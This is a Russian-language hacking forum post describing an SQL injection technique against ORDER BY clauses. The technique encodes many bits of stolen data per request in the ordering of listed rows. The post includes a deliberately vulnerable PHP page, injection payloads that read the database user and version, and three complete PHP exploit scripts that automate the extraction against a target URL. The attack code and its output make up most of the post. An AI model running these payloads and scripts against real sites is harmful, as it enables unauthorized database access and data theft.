Prev Предыдущее сообщение   Следующее сообщение Next
Старый 24.09.2013, 21:21   #1
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Arrow Инъекция в ORDER BY: Второе дыхание

Почему-то у многих людей сложилось мнение, что инъекция в order by раскручивается или через time-based, или как boolean-based. Но, это совсем не так.

INTRO

ORDER BY
употребляется для сортировки выборки по одной или несколькими колонками (обычно по возрастанию или убыванию, но не только):
PHP код:
... order by `password_datedesc, `nameasc6 asc# Делаем 1, 2-ю сортировку по имени колонки, 3-ю по номеру колонки в выводе 
Еще есть вариант с заглушкой:
PHP код:
... order by null
Примеры эксплуатации инъекций с форума:
Цитата:
(if((substring(version(),1,1)=5),1,(select 1 union select 2)))
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Мы видим 1 запрос на один бит данных, это очень и очень мало. Сегодня мы рассмотрим теорию и практику более приемлемого вывода!

Теория

Раз ORDER BY употребляется для сортировки списка, то на страницу обычно выводится список, а точнее, его обрезанная часть. Например 20 записей выводится на страницу, всего в таблице 100 записей.

ORDER BY позволяет использовать для сортировки выражения (возвращающие число/строку для каждой записи). Пример:
PHP код:
... order by rand(); # Так
... order by (rand()) asc# И даже так (в данном случае навороты смысла не имеет) 
Соответственно мы можем расставить эти 100 записей на эти 20 мест абсолютно по разному, и тем самым, выводить больше информации за один раз.

Я подразумеваю случай, когда каждый запрос выполняется на разных сессиях (99%).

В лучшем варианте при выводе 20 записей и их заполнении 20 уникальными значениями число возможных комбинаций равно:
Код:
(defun factorial (n)
  (if (= n 0)
      1
      (* (factorial (- n 1)) n)))
            
(20!) => (integer-length (factorial 20)) => 62 => (61) bit
То есть 7 символов за 1 раз. Предложим, что записей 100, а не 20:
Код:
100!/(100-20)! => (integer-length (/ (factorial 100) (factorial (+ 100 -20)))) => 130 bit
Это около 16 символов за раз! Никак не 1 символ за 8 раз, как в первом случае. Напишем уязвимый скрипт:
PHP код:
<?php
mysql_connect
('127.0.0.1''root');

$result mysql_query('
    select `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY '
.$_REQUEST['name']);

    for(
$i=0;($i 20 && $row mysql_fetch_array($result)); ++$i) {
        echo 
$row[0]."<br>\n";
    }

mysql_close();
?>
Я взял `information_schema`.`COLLATIONS` для тестов (на реальном хосте инъекция могла бы быть в новостях, юзерах), чтобы все смогли у себя повторить процесс.

В ней больше, чем 100 записей, однако мы будем использовать только первую сотню. На стороне клиента надо будет заранее получить эти 100 записей...

Нам повезло что все записи пронумерованы по ID, пока воспользуемся этим:
PHP код:
+----+-------------------+
id COLLATION_NAME    |
+----+-------------------+
|  
big5_chinese_ci   |
|  
latin2_czech_cs   |
|  
dec8_swedish_ci   |
|  
cp850_general_ci  |
|  
latin1_german1_ci |
|  
hp8_english_ci    |
|  
koi8r_general_ci  |
|  
latin1_swedish_ci |
|  
latin2_general_ci |
10 swe7_swedish_ci   |
+----+-------------------+ 
Использовать весь потенциал достаточно затруднительно, начнем с малого, лучше что-то, чем ничего...

Блин №1
Суть происходящего:


Слева данные из таблицы. Справа то, что мы получаем. Изначально мы ставим первый элемент на первую позицию, со второго элемента начинаем побитовое считывание выводимых данных. Если бит равен нулю, то позиции будут отрицательными, если 1 - положительными.

При считывании мы находим первый элемент, от него ищем все оставшиеся. Элегантно и просто. За 10 строк вывода мы можем передать 9 бит информации, что немного больше одного символа...

Реализация. Вывод одного символа.
Код:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id < 10, if(id=1,1,(
            if(
                ascii(mid(user(),1,1)) & pow (2, (id-2)) > 0, 
                    # pow - возведение 2 в степень для получения необходимого числа:
                    #     2^0 = 1 = 00000001
                    #    2^1 = 2 = 00000010
                    #    2^2 = 4 = 00000100
                    # Также для этих целей можно использовать побитовый сдвиг
                    #    он и короче, но символы < и > могут фильтроваться
                    #        (Выше они используются для упрощения)
                    # 1 << 4 = 16         # (SELECT 4) >> (SELECT 1) = 2
                id, -id
        ))), 1000) LIMIT 9;
+----+-------------------+
| id | COLLATION_NAME    |
+----+-------------------+
|  9 | latin2_general_ci |
|  5 | latin1_german1_ci |
|  3 | dec8_swedish_ci   |
|  2 | latin2_czech_cs   |
|  1 | big5_chinese_ci   |
|  4 | cp850_general_ci  |
|  6 | hp8_english_ci    |
|  7 | koi8r_general_ci  |
|  8 | latin1_swedish_ci |
+----+-------------------+
9 rows in set (0.00 sec)

mysql> SELECT user();
+----------------+
| user()         |
+----------------+
| test@localhost |
+----------------+
1 row in set (0.00 sec)
00101110 => t

В лучших традициях на PHP набросаем эксплоит:
PHP код:
<?php
$ch 
curl_init();
curl_setopt_array($ch, array(
    
CURLOPT_RETURNTRANSFER => True,
    
CURLOPT_ENCODING => 'gzip, deflate',
)); 

$url 'http://127.0.0.1/inj.php?name=';
$query 'concat(user(),0x3A,version())';


for(
$i=1$i <= 100; ++$i) {
    
curl_setopt($chCURLOPT_URL$url.urlencode("if(id<10,if(id=1,1,(if(ascii(mid(({$query}),{$i},1))&pow(2,(id-2))>0,id,-id))),99)"));
    echo 
ocr(curl_exec($ch));
}
function 
ocr ($res) {
    
$res explode("<br>\n"$res);
    
$start_array = array(
        
'big5_chinese_ci'//     1
        
'latin2_czech_cs'//     2
        
'dec8_swedish_ci'//     3
        
'cp850_general_ci'//    4
        
'latin1_german1_ci'//   5
        
'hp8_english_ci'//      6
        
'koi8r_general_ci'//    7
        
'latin1_swedish_ci'//   8
        
'latin2_general_ci' //    9
    
);
    
$count count($start_array);
    
$main array_search($start_array[0], $res);
    
    
$ord 0;
    
    for(
$i=1$i $count; ++$i) {
        
$needle array_search($start_array[$i], $res);
        if(
$needle $main) {
            
$ord |= pow(2$i-1);
        }
    }
    return 
chr($ord);
}
curl_close($ch);
?>
Запускаем, и вуаля:
Код:
root@localhost:5.5
За 1 запрос по 1 символу (8 бит), но, надо усовершенствовать вариант, чтобы скрипт возвращал n-1 бит на n строк вывода (а не только первый символ). Здесь нас ожидает первый сюрприз, часть записей отсутствует:
Код:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` ORDER BY id LIMIT 20;
+----+---------------------+
| id | COLLATION_NAME      |
+----+---------------------+
|  1 | big5_chinese_ci     |
|  2 | latin2_czech_cs     |
|  3 | dec8_swedish_ci     |
|  4 | cp850_general_ci    |
|  5 | latin1_german1_ci   |
|  6 | hp8_english_ci      |
|  7 | koi8r_general_ci    |
|  8 | latin1_swedish_ci   |
|  9 | latin2_general_ci   |
| 10 | swe7_swedish_ci     |
| 11 | ascii_general_ci    |
| 12 | ujis_japanese_ci    |
| 13 | sjis_japanese_ci    |
| 14 | cp1251_bulgarian_ci |
| 15 | latin1_danish_ci    |
| 16 | hebrew_general_ci   |
| 18 | tis620_thai_ci      |
| 19 | euckr_korean_ci     |
| 20 | latin7_estonian_cs  |
| 21 | latin2_hungarian_ci |
+----+---------------------+
20 rows in set (0.00 sec)
17-ой записи нет, еще проблема усугубляется тем, что мы не можем инициализировать и начать использовать переменную запросе:
Код:
mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Инициализация
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci | NULL    |
+-----------------+---------+

mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Использование №2
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci |       0 |
+-----------------+---------+
Займемся символами: при каждом запросе нам надо передавать новые смещения, и при этом ничего не терять:
В первой колонке номер бита, во второй ID, для которого необходимо возвратить номер в выдаче. Третья - биты, в прямом или обратном порядке. Начнем с id. Его надо привести к нормальному виду:
Код:
# Было
id-2: (-1 Для служебной записи, и еще -1 чтобы pow возвращал все относительно 0, в данном случае это: 
    id 2  = 0
    id 3  = 1
    id 4  = 2
    ...
    id 16 = 14 
    id 18 = 16 // Проблема
# Стало:
id-2-(id>16):
    ...
    id 16 = 14 
    id 18 = 15 // Все верно
    id 19 = 16
Решим, как организовать переход между символами, чтобы в каждом запросе мы могли начать с любой позиции. Второй запрос надо начать с 4-ого бита 3-го символа (все это относительно id и внешнего числа):
Код:
    # Номер символа:
        ((19 + id) div 8) + 1
        
        id - Аргумент (число организующие вывод разных битов)
        19 - Смещение в битах относительно 0, для изменения в запросах (От 0, 
                            возможно с учетом погрешностей в ID для уменьшения длины выражения, 
                            то есть легче вычесть к примеру 2 из него, 
                            чем посылать запись 19+id-2...
                             )
        7   => id=9  => ((0 +  9 - 2) div 8) + 1
        14  => id=16 => ((0 + 16 - 2) div 8) + 1
        
    # Номер бита:
        pos mod 8 или pos % 8
    
    0  % 8 = 0
    7  % 8 = 7
    26 % 8 = 2
Вернемся в мир SQL:
Код:
# Номер бита:
    (pos+id-(id>16))%8

# Номер символа: 
    (pos+id-(id>16))div 8 + 1

    Где pos - разница смещения и двух. Для первого запроса смещение 0-2 = -2, для второго - 19-2 = 17 и т.д.
    
# Запрос:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id < 22, if(id=1,1,(
            if(
                ascii(mid(user(),(
                    (__POS__+id-(id>16))div 8 + 1
                ),1)) & pow (2, (__POS__+id-(id>16))%8) > 0, 
                id, -id
        ))), 1000) LIMIT 20;
Работает! Доработаем наш сплоит:
PHP код:
<?php
class net {
        private 
$curl;
        
        public 
$url 'http://127.0.0.1/inj.php?name='// URL сайта
       
           /* Массив вариантов по запросу */
        
public function getSiteArr($query) {
            
$url $this->url.urlencode($query);

        
curl_setopt($this->curlCURLOPT_URL$url);
        
$res curl_exec($this->curl);
        
        
$res explode("<br>\n"$res);
        unset(
$res[20]);
        
        return 
$res;
       }
        public function 
__construct() {
                
$this->curl curl_init();
                
curl_setopt_array($this->curl, array(
                        
CURLOPT_RETURNTRANSFER => true,
                        
CURLOPT_ENCODING => 'gzip, deflate',
                ));
        }
        public function 
__destruct() {
                
curl_close($this->curl);
        }
}
class 
bit {
    private 
$bitarr = array();
    
    public 
$countReal 0;
    public 
$countAll  0;
    
    private 
$callback;
    
        public function 
__construct($callback) {
                
$this->callback = &$callback// Функция, вызывающаяся при получении символа
        
}

        
/* Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа */
        
private function check() {
            if(
$this->countReal 8)
                return;

            
$this->countReal -= 8;
            
                
/* Формируем символ */
            
$ascii 0;
            
        for(
$i=0$i 8; ++$i) {
            if(
$this->bitarr[$this->countAll $i 8] == true)
                
$ascii |= << $i;
        }
        
            
/* Отдаем символ*/
        
call_user_func($this->callbackchr($ascii));
            
/* Повторный вызов */
        
$this->check();
        }
            
/* Инкремент */
        
private function inc() {
               
$this->countReal++;
               
            return 
$this->countAll++;
        }

            
/* Добавить новый бит*/
        
public function addBit($bit) {
            
$this->bitarr[$this->inc()] = (bool)$bit;
            
            
$this->check();
        }

}
class 
sql {
    public 
$main_query 'concat(user(),0x3A,version())';
    private 
$query 'if(id < 22, if(id=1,1,(
            if(
                ascii(mid((%s),(
                    (%d+id-(id>16))div(8) + 1
                ),1)) & pow (2, (%d+id-(id>16))%%8) > 0, 
                id, -id
        ))), 99)'
// Запрос
    
    
private $space  = array("\r""\n""\t"" "); // Удаляемые символы

    
private $arr    = array(); // Массив с заранее выбранными значениями
    
private $count  0;

    
// Либы:
    
private $net;
    private 
$bit;

        
/* Инициализация */
    
public function __construct($arr$net$bit) {
              
$this->query str_replace($this->space''$this->query);

              
$this->arr $arr;
              
$this->count count($arr);
              
              
$this->net = &$net;
              
$this->bit = &$bit;
        }
            
/* Инжектинг */
        
public function start() {
            for(
$i=0true$i += $this->count-1) {
                
$POS $i 2
                
$query sprintf($this->query$this->main_query$POS$POS);
                
                
$this->get($query);
            }
       }
            
/* Разбор массива с данными сайта*/
        
private function get($query) {

            
$arr $this->net->getSiteArr($query);
            
            
$main array_search($this->arr[0], $arr);
            
            for (
$i=1$i $this->count; ++$i) {
            
$needle array_search($this->arr[$i], $arr); // Ищем значение в массиве

            
$this->bit->addBit($needle $main); // Узнаем, до или первой записи оно расположено
            
}
        }
}
$net = new net;
$bit = new bit(function($char) {
    echo 
$char;
});

$sql = new sql(array( // 20
        
'big5_chinese_ci',
        
'latin2_czech_cs',
        
'dec8_swedish_ci',
        
'cp850_general_ci',
        
'latin1_german1_ci',
        
'hp8_english_ci',
        
'koi8r_general_ci',
        
'latin1_swedish_ci',
        
'latin2_general_ci',
        
'swe7_swedish_ci',
        
'ascii_general_ci',
        
'ujis_japanese_ci',
        
'sjis_japanese_ci',
        
'cp1251_bulgarian_ci',
        
'latin1_danish_ci',
        
'hebrew_general_ci',
        
'tis620_thai_ci',
        
'euckr_korean_ci',
        
'latin7_estonian_cs',
        
'latin2_hungarian_ci',
    ), 
$net$bit);
$sql->start();
?>
Ура, данные приходят еще быстрее!

Блин №2

Если детально присмотреться к схеме, можно заметить, что можно восстановить исходную последовательность просто не получая первую или вторую половину. После пары правок мы можем ускорить скрипт еще в несколько раз.
  • + В среднем на n строк вывода мы получаем 2n битов вывода, а не n-1
  • + Мы получим сжатие, если будем выводить первую или последнюю половину данных так-как в зависимости от содержимого 0 может встречаться как заметно чаще 1, так и реже.
Отсутствующие записи: 17, 56, 62, 76, ...

SQL:
Код:
select (-1+id-(id>16)-(id>55)-(id>76)-(id>100)) as i, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(
                ascii(mid(user(),(
                    (-1+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div 8 + 1
                ),1)) & pow (2, (-1+id-(id>16)-(id>61)-(id>55)-(id>76)-(id>100))%8) > 0, 
                id, 9e9 # Универсальный способ задания большого значения
        ) LIMIT 20;
+----+---------------------+
| i  | COLLATION_NAME      |
+----+---------------------+
|  2 | dec8_swedish_ci     |
|  4 | latin1_german1_ci   |
|  5 | hp8_english_ci      |
|  6 | koi8r_general_ci    |
|  8 | latin2_general_ci   |
| 10 | ascii_general_ci    |
| 13 | cp1251_bulgarian_ci |
| 14 | latin1_danish_ci    |
| 16 | tis620_thai_ci      |
| 17 | euckr_korean_ci     |
| 20 | koi8u_general_ci    |
| 21 | cp1251_ukrainian_ci |
| 22 | gb2312_chinese_ci   |
| 26 | gbk_chinese_ci      |
| 28 | latin5_turkish_ci   |
| 29 | latin1_german2_ci   |
| 30 | armscii8_general_ci |
| 38 | cp852_general_ci    |
| 42 | cp1250_croatian_ci  |
| 43 | utf8mb4_general_ci  |
+----+---------------------+
Yep!
PHP код:
<?php
class net {
        private 
$curl;
        
        public 
$url 'http://127.0.0.1/inj.php?name='// URL сайта
       
           /* Массив вариантов по запросу */
        
public function getSiteArr($query) {
            
$url $this->url.urlencode($query);

        
curl_setopt($this->curlCURLOPT_URL$url);
        
$res curl_exec($this->curl);
        
        
$res explode("<br>\n"$res);
        unset(
$res[20]);
        
        return 
$res;
       }
        public function 
__construct() {
                
$this->curl curl_init();
                
curl_setopt_array($this->curl, array(
                        
CURLOPT_RETURNTRANSFER => true,
                        
CURLOPT_ENCODING => 'gzip, deflate',
                ));
        }
        public function 
__destruct() {
                
curl_close($this->curl);
        }
}
class 
bit {
    private 
$bitarr = array();
    
    public 
$countReal 0;
    public 
$countAll  0;
    
    private 
$callback;
    
        public function 
__construct($callback) {
                
$this->callback = &$callback// Функция, вызывающаяся при получении символа
        
}

        
/* Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа */
        
private function check() {
            if(
$this->countReal 8)
                return;

            
$this->countReal -= 8;
            
                
/* Формируем символ */
            
$ascii 0;
            
        for(
$i=0$i 8; ++$i) {
            if(
$this->bitarr[$this->countAll $i 8] == true)
                
$ascii |= << $i;
        }
        
            
/* Отдаем символ*/
        
call_user_func($this->callbackchr($ascii));
            
/* Повторный вызов */
        
$this->check();
        }
            
/* Инкремент */
        
private function inc() {
               
$this->countReal++;
               
            return 
$this->countAll++;
        }

            
/* Добавить новый бит*/
        
public function addBit($bit) {
            
$this->bitarr[$this->inc()] = (bool)$bit;
            
            
$this->check();
        }

}
class 
sql {
    public 
$main_query 'concat(user(),0x3A,version())';
    private 
$query 'if(
                ascii(mid((%s),(
                    (%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div(8) + 1
                ),1)) & pow (2, (%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))%%8) > 0, 
                id, 9e9
        )'
// Запрос
    
    
public $viewCount 20;
    
    private 
$space  = array("\r""\n""\t"" "); // Удаляемые символы

    
private $arr    = array(); // Массив с заранее выбранными значениями
    
private $count  0;

    
// Либы:
    
private $net;
    private 
$bit;

        
/* Инициализация */
    
public function __construct($arr$net$bit) {
              
$this->query str_replace($this->space''$this->query);

              
$this->arr $arr;
              
$this->count count($arr);
              
              
$this->net = &$net;
              
$this->bit = &$bit;
        }
            
/* Инжектинг */
        
public function start() {
            for(
$i=0$i/60$i $this->bit->countAll) {
                
$POS $i 1
                
$query sprintf($this->query$this->main_query$POS$POS);
                
$this->get($query);
            }
       }
            
/* Разбор массива с данными сайта*/
        
private function get($query) {

            
$arr $this->net->getSiteArr($query);
            
            for (
$i=0$i $this->viewCount; ++$i) {
            
$needle array_search($this->arr[$i], $arr); // Ищем значение в массиве
            
$this->bit->addBit($needle !== false);
            }
        }
}
$net = new net;
$bit = new bit(function($char) {
    echo 
$char;
});

$sql = new sql(
            
// 119
        
array('big5_chinese_ci''latin2_czech_cs''dec8_swedish_ci''cp850_general_ci''latin1_german1_ci''hp8_english_ci''koi8r_general_ci''latin1_swedish_ci''latin2_general_ci''swe7_swedish_ci''ascii_general_ci''ujis_japanese_ci''sjis_japanese_ci''cp1251_bulgarian_ci''latin1_danish_ci''hebrew_general_ci''tis620_thai_ci''euckr_korean_ci''latin7_estonian_cs''latin2_hungarian_ci''koi8u_general_ci''cp1251_ukrainian_ci''gb2312_chinese_ci''greek_general_ci''cp1250_general_ci''latin2_croatian_ci''gbk_chinese_ci''cp1257_lithuanian_ci''latin5_turkish_ci''latin1_german2_ci''armscii8_general_ci''utf8_general_ci''cp1250_czech_cs''ucs2_general_ci''cp866_general_ci''keybcs2_general_ci''macce_general_ci''macroman_general_ci''cp852_general_ci''latin7_general_ci''latin7_general_cs''macce_bin''cp1250_croatian_ci''utf8mb4_general_ci''utf8mb4_bin''latin1_bin''latin1_general_ci''latin1_general_cs''cp1251_bin''cp1251_general_ci''cp1251_general_cs''macroman_bin''utf16_general_ci''utf16_bin''cp1256_general_ci''cp1257_bin''cp1257_general_ci''utf32_general_ci''utf32_bin''binary''armscii8_bin''ascii_bin''cp1250_bin''cp1256_bin''cp866_bin''dec8_bin''greek_bin''hebrew_bin''hp8_bin''keybcs2_bin''koi8r_bin''koi8u_bin''latin2_bin''latin5_bin''latin7_bin''cp850_bin''cp852_bin''swe7_bin''utf8_bin''big5_bin''euckr_bin''gb2312_bin''gbk_bin''sjis_bin''tis620_bin''ucs2_bin''ujis_bin''geostd8_general_ci''geostd8_bin''latin1_spanish_ci''cp932_japanese_ci''cp932_bin''eucjpms_japanese_ci''eucjpms_bin''cp1250_polish_ci''utf16_unicode_ci''utf16_icelandic_ci''utf16_latvian_ci''utf16_romanian_ci''utf16_slovenian_ci''utf16_polish_ci''utf16_estonian_ci''utf16_spanish_ci''utf16_swedish_ci''utf16_turkish_ci''utf16_czech_ci''utf16_danish_ci''utf16_lithuanian_ci''utf16_slovak_ci''utf16_spanish2_ci''utf16_roman_ci''utf16_persian_ci''utf16_esperanto_ci''utf16_hungarian_ci''utf16_sinhala_ci''ucs2_unicode_ci''ucs2_icelandic_ci''ucs2_latvian_ci''ucs2_romanian_ci'),
     
$net$bit);
$sql->start();
Полную перестановку мы так и не задействовали, плохая поддержка переменных сильно мешает, например:
На первый взгляд эта схема работает, однако ограничить вывод после сбора N-ного числа записей очень сложно и на странице мы видим только верхнюю двадцатку.

END
Тема новая, исследований нет - есть куда продвигаться. Для макетов был использован LibreOffice Draw. Также есть варианты вывода с использованием возможности передачи нескольких параметров(через запятую) в ORDER BY.

Последний раз редактировалось NameSpace; 02.07.2014 в 16:55..
NameSpace вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot